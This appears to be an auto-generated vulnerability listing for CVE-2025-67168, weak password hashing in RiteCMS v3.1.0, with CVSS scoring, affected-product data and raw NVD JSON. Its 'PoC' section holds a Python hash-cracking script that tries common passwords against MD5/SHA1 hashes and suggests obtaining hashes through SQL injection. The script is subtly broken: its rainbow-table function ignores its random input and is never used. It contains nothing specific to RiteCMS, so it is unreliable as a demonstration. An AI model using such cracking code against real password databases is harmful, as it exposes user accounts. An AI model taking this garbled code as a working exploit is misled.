Security Vulnerability Report
中文
CVE-2025-67168 CVSS 5.3 MEDIUM

CVE-2025-67168

Published: 2025-12-17 19:16:13
Last Modified: 2025-12-18 19:18:16

Description

RiteCMS v3.1.0 was discovered to use insecure encryption to store passwords.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ritecms:ritecms:3.1.0:*:*:*:*:*:*:* - VULNERABLE
RiteCMS v3.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67168 PoC - RiteCMS Weak Password Hash Crack # This PoC demonstrates the vulnerability in RiteCMS password storage import hashlib import os def generate_rainbow_table(algorithm='md5', max_length=8): """Generate a simple rainbow table for demonstration""" rainbow_table = {} chars = 'abcdefghijklmnopqrstuvwxyz0123456789' for length in range(1, max_length + 1): for combo in os.urandom(length): password = ''.join([chars[c % len(chars)] for c in range(length)]) if algorithm == 'md5': hash_value = hashlib.md5(password.encode()).hexdigest() elif algorithm == 'sha1': hash_value = hashlib.sha1(password.encode()).hexdigest() rainbow_table[hash_value] = password return rainbow_table def crack_weak_hash(weak_hash, algorithm='md5'): """ Simulate cracking a weak hash from RiteCMS In real attack, obtain hash from database via SQL injection or other vuln """ # Common weak passwords to try first common_passwords = [ 'password', '123456', 'admin', 'letmein', 'welcome', 'monkey', 'dragon', 'master', 'login', 'passw0rd' ] for pwd in common_passwords: if algorithm == 'md5': test_hash = hashlib.md5(pwd.encode()).hexdigest() elif algorithm == 'sha1': test_hash = hashlib.sha1(pwd.encode()).hexdigest() if test_hash == weak_hash: return pwd return None # Example usage if __name__ == '__main__': # Simulated weak hash from RiteCMS database example_hash = hashlib.md5('admin'.encode()).hexdigest() print(f'Target hash: {example_hash}') cracked = crack_weak_hash(example_hash) if cracked: print(f'[+] Password cracked: {cracked}') else: print('[-] Password not found in common list')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67168", "sourceIdentifier": "[email protected]", "published": "2025-12-17T19:16:12.933", "lastModified": "2025-12-18T19:18:16.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RiteCMS v3.1.0 was discovered to use insecure encryption to store passwords."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-916"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ritecms:ritecms:3.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "F5E54D75-1861-4968-8494-335BF8C33E6F"}]}]}], "references": [{"url": "https://github.com/handylulu/RiteCMS", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/handylulu/RiteCMS/blob/master/cms/includes/functions.admin.inc.php", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67168", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}